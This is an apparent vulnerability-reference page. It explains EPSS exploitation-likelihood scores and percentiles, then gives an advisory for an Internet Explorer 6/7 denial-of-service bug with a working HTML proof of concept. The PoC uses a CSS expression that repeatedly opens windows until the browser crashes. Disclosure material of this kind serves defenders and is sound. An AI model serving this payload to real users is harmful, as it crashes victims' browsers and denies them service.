EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/21466/info Microsoft Internet Explorer is prone to a denial-of-service vulnerability because the application fails to handle exceptional conditions. This issue is triggered when an attacker entices a victim user to visit a malicious website. Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users. Internet Explorer 6 and 7 are vulnerable to this issue; other versions may also be affected. <html> <head> <title>Another non-standards compliant IE D.O.S.</title> </head> <body> <div id="foo" style="height: 20px; border: 1px solid blue"> <table style="border: 1px solid red; width: expression(parseInt(window.open(self.location))+document.getElementById('foo').offsetWidth+'px');"> <tr> <td> IE makes my life harder :(.
